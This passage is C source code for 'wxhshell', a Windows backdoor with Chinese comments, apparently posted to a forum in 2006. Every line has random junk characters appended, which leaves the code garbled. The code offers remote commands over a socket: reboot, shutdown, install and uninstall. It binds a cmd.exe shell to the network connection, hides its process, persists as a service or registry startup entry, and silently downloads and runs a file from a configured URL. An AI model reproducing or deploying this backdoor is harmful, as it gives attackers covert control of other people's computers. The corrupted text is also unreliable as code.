  // 帮助 }p- %~ Y  
  case '?': { 5Rec}H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RmNF]"3%  
    break; vY;Lc   
  } {Zseu$c  
  // 安装 ,}2j Fb9z4  
  case 'i': {  %ANPv=  
    if(Install()) r*p%e\ 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  zIAMM  
    else O3BU.X1'%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t o?"{  
    break; hXr vb[6  
    } d?{2A84S  
  // 卸载 '\_)\`a|  
  case 'r': { fglZjT  
    if(Uninstall()) }E1Eq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 50R+D0^mh  
    else !CMN/=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |y=gp  
    break; YJL=|v  
    } X1'Ze,34  
  // 显示 wxhshell 所在路径 ud#8`/!mq  
  case 'p': { &1u ?W%(Px  
    char svExeFile[MAX_PATH]; :<(<tz7dj  
    strcpy(svExeFile,"\n\r"); *xjIl<`pK  
      strcat(svExeFile,ExeFile); R;.WOies4  
        send(wsh,svExeFile,strlen(svExeFile),0); -"nYCF  
    break; G7=8*@q>:  
    } a #0{tZd  
  // 重启 7r;A wa  
  case 'b': { '{u#:TTj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kg@J.   
    if(Boot(REBOOT)) O71rLk;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T6,lk1S'=  
    else { e.kt]l  
    closesocket(wsh); {r}}X@|5  
    ExitThread(0); v}mmY>M%  
    } c]&VUWQ  
    break; W2B=%`sC  
    } pxC5a i  
  // 关机 f 0#V^[%Q  
  case 'd': { ^R$dG[Qf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DtN6.9H2`  
    if(Boot(SHUTDOWN)) F>Oh)VL,Ev  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~VGK#'X:  
    else { Cwh;+3?C|  
    closesocket(wsh); [*<&]^  
    ExitThread(0); VA%i_P,  
    } 0q;] ;m  
    break; ;7A,'y4f  
    }  "O 'I  
  // 获取shell ;C<A }  
  case 's': { n)H0;25L  
    CmdShell(wsh); )K6{_~Kc\  
    closesocket(wsh); '[E_7$d  
    ExitThread(0); M*H G4(n0  
    break; _L72Ae(_  
  } sP |i '  
  // 退出 CUG<v3\  
  case 'x': {  M:$nL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }.vy|^X  
    CloseIt(wsh); s#fmGe"8  
    break; 9|m  L  
    } X[ (J!"+  
  // 离开 ]]ZBG<#  
  case 'q': { 5~F0'tb|}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !R@4tSu  
    closesocket(wsh); {cI<4><  
    WSACleanup(); ;CZcY] ol  
    exit(1); X9j+$X \j  
    break; mx4*zj  
        } 7q=0]Hrg(D  
  } c%!wKoD  
  } |{K:.x#^  
8gxLL59  
  // 提示信息 q}i87a;m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y^rg%RV  
} A&'%ou  
  } \#r_H9&s6  
-tdG} Gu  
  return; wp*1HnWj8Y  
} ( -@>  
6hq)yUvo4  
// shell模块句柄 LfApVUm  
int CmdShell(SOCKET sock) DPx,qM#h5O  
{ J;`~ !g  
STARTUPINFO si; uSJP"Lw  
ZeroMemory(&si,sizeof(si)); mK-:laIL"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mg(56)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k]iS3+nD  
PROCESS_INFORMATION ProcessInfo; kDh(~nfj  
char cmdline[]="cmd"; +GS=zNw#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;gnr\C*G  
  return 0; W!X]t)Ow  
} c,wU?8Nc|$  
/f<(K-o]  
// 自身启动模式 1n"X?K5;A  
int StartFromService(void) &L]*]Xz;  
{ !y?hn$w0  
typedef struct sQs5z~#51*  
{ X%CPz.G  
  DWORD ExitStatus; L#Y;a 5b  
  DWORD PebBaseAddress; |hM)e*"  
  DWORD AffinityMask; ={ '($t%|T  
  DWORD BasePriority; UGt7iT<`8  
  ULONG UniqueProcessId; !?/bK[ P,  
  ULONG InheritedFromUniqueProcessId; qS|VUy4  
}   PROCESS_BASIC_INFORMATION; gj^]}6-P  
NN'<-0~  
PROCNTQSIP NtQueryInformationProcess; auW]rwY  
O$/ swwB!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I+t38 un%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T}[vfIJD  
C>dJ:.K%H  
  HANDLE             hProcess; E 5{)d~q  
  PROCESS_BASIC_INFORMATION pbi; {B.]w9  
y3]"H(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %ko 8P  
  if(NULL == hInst ) return 0; :<8V2  
="R6YL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ie5ijkxZ(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EIQy?ig86  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CD[=z)<z{  
G\ZRNb  
  if (!NtQueryInformationProcess) return 0; :q<%wLs  
m4>o E|\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]#.&f]6l  
  if(!hProcess) return 0; &X,)+ b=  
%iC63)(M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y03a\K5[KQ  
O Zm[i H  
  CloseHandle(hProcess); D  .R  
.G~5F- 8'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'LLx$y.Ei[  
if(hProcess==NULL) return 0; #%"TU,[+  
UO<claV  
HMODULE hMod; R7c)C8/~  
char procName[255]; *AR<DXE L  
unsigned long cbNeeded; Ki6.'#%7  
NV4W2thYo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >%dAqYi $  
i bs "Iv34  
  CloseHandle(hProcess); }zxh:"#K  
5)NBM7h  
if(strstr(procName,"services")) return 1; // 以服务启动 "mDrJTWa  
t~K!["g  
  return 0; // 注册表启动 4(GgaQFO?  
} F5[ITK]A4  
^>{;9 lo<  
// 主模块 VDjIs UUX  
int StartWxhshell(LPSTR lpCmdLine) +/86w59  
{ 1|w:xG^  
  SOCKET wsl; z2V8NUn  
BOOL val=TRUE;  .OS?^\  
  int port=0; :vyf-K 74M  
  struct sockaddr_in door; !>Y\&zA  
'N ::MN  
  if(wscfg.ws_autoins) Install(); n12c075  
<?Izfl6  
port=atoi(lpCmdLine); s{J!^q  
qgsE7 ]  
if(port<=0) port=wscfg.ws_port; "d>g)rvOc  
]m#MwN$  
  WSADATA data; A""*vqA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <L ( =  
U]EuDNkO{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zRE8299%z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UA4d|^ev  
  door.sin_family = AF_INET; 4?M3#],'h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]l7\Zq  
  door.sin_port = htons(port); )u/ ^aK53^  
AaC1 ||?R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xj q7%R_,  
closesocket(wsl); B%:9P  
return 1; YGV#.  
} m&~Dj#%(w  
@mRrA#E#{  
  if(listen(wsl,2) == INVALID_SOCKET) { aa%&&  
closesocket(wsl); #L= eK8^e  
return 1; [d~bZS|(T(  
} (Cd{#j<  
  Wxhshell(wsl); z "$d5XR  
  WSACleanup(); L0|hc  
v:Z4z6M-  
return 0; q;0&idYC  
t:s q*d  
} S Ljf<.S  
7O9hn2?e  
// 以NT服务方式启动 {r2|fgi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zpr@!76  
{ {$1$]p~3 o  
DWORD   status = 0; 4J 51i*`  
  DWORD   specificError = 0xfffffff; Y{2d4VoW6  
KW7? : x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZMMo6;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .A!0.M|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kxqc6  
  serviceStatus.dwWin32ExitCode     = 0; r{2].31'  
  serviceStatus.dwServiceSpecificExitCode = 0; V52C,]qQH  
  serviceStatus.dwCheckPoint       = 0; l8AEEG8>  
  serviceStatus.dwWaitHint       = 0; +\8krA  
i@R$g~~-D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /< 7C[^h{-  
  if (hServiceStatusHandle==0) return; PWN'.HQ  
MAD}Tv\S7  
status = GetLastError(); <RPoQ'.^  
  if (status!=NO_ERROR) b'oGt,  
{ /`O]etr`d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m":SE?{{&  
    serviceStatus.dwCheckPoint       = 0; {+ 6D-rDw  
    serviceStatus.dwWaitHint       = 0; V>jhGf  
    serviceStatus.dwWin32ExitCode     = status; PSf5p\<5  
    serviceStatus.dwServiceSpecificExitCode = specificError; 71/m.w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W aGcoj  
    return; YyJ{  
  } .F$|j1y  
87pXv6'FQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YaNH.$.:  
  serviceStatus.dwCheckPoint       = 0; #W%)$k c  
  serviceStatus.dwWaitHint       = 0; ^?7dOW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  I`'a'  
} UUMdZ+7  
1^f.5@tV  
// 处理NT服务事件,比如:启动、停止 =1 BNCKT<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %X"m/4c8}  
{ =GKS;d#/  
switch(fdwControl) MYw8wwX0kJ  
{ \9(- /rE  
case SERVICE_CONTROL_STOP: ta4JWllf  
  serviceStatus.dwWin32ExitCode = 0; (YYj3#|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8lWH=kA\  
  serviceStatus.dwCheckPoint   = 0; :9F''f$AP  
  serviceStatus.dwWaitHint     = 0; :IVk_[s  
  { 8hKP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pgd8`$(Q  
  } pPyvR;NJ  
  return; O%JsUKV  
case SERVICE_CONTROL_PAUSE: EwD3d0udL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `kNi*I^  
  break; QSF"8Uk  
case SERVICE_CONTROL_CONTINUE: { 8f+h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S'!q}|7X 3  
  break; =%3b@}%HqS  
case SERVICE_CONTROL_INTERROGATE: `e $n$Bh  
  break; ~3bZ+*H>  
}; h^A3 0f_x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $' (QTEM  
} ) Kc%8hBv  
*m$PH"  
// 标准应用程序主函数 MZ5Y\-nq\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6 tc:A5mK  
{ S~k*r{?H})  
6hM]%  
// 获取操作系统版本 sp=OT-Pfp  
OsIsNt=GetOsVer(); !0ce kSesr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y8%0;!T  
|/;U)M  
  // 从命令行安装 v0Ai!#  
  if(strpbrk(lpCmdLine,"iI")) Install(); I%9bPQ  
ZMoJ#p(  
  // 下载执行文件 ^KkRF":  
if(wscfg.ws_downexe) { 8VP"ydg-U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {4: -0itG  
  WinExec(wscfg.ws_filenam,SW_HIDE); fimb]C I|x  
} ,jRcl!n`  
3a#PA4Ql  
if(!OsIsNt) { SLtSqG7~  
// 如果时win9x,隐藏进程并且设置为注册表启动 iz Ph1YA  
HideProc(); w{3Q( =&  
StartWxhshell(lpCmdLine); pd4cg?K  
} g@@&sB-A"  
else _\dt?(m|  
  if(StartFromService()) 4L5o\'X  
  // 以服务方式启动 aXdf>2c{JD  
  StartServiceCtrlDispatcher(DispatchTable); i s L{9^  
else {[2tG U9  
  // 普通方式启动 }pMP!%|  
  StartWxhshell(lpCmdLine); " F-Y^  
E &7@#'l  
return 0; =2 &hQd   
}
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只看该作者 1 发表于: 2006-10-10
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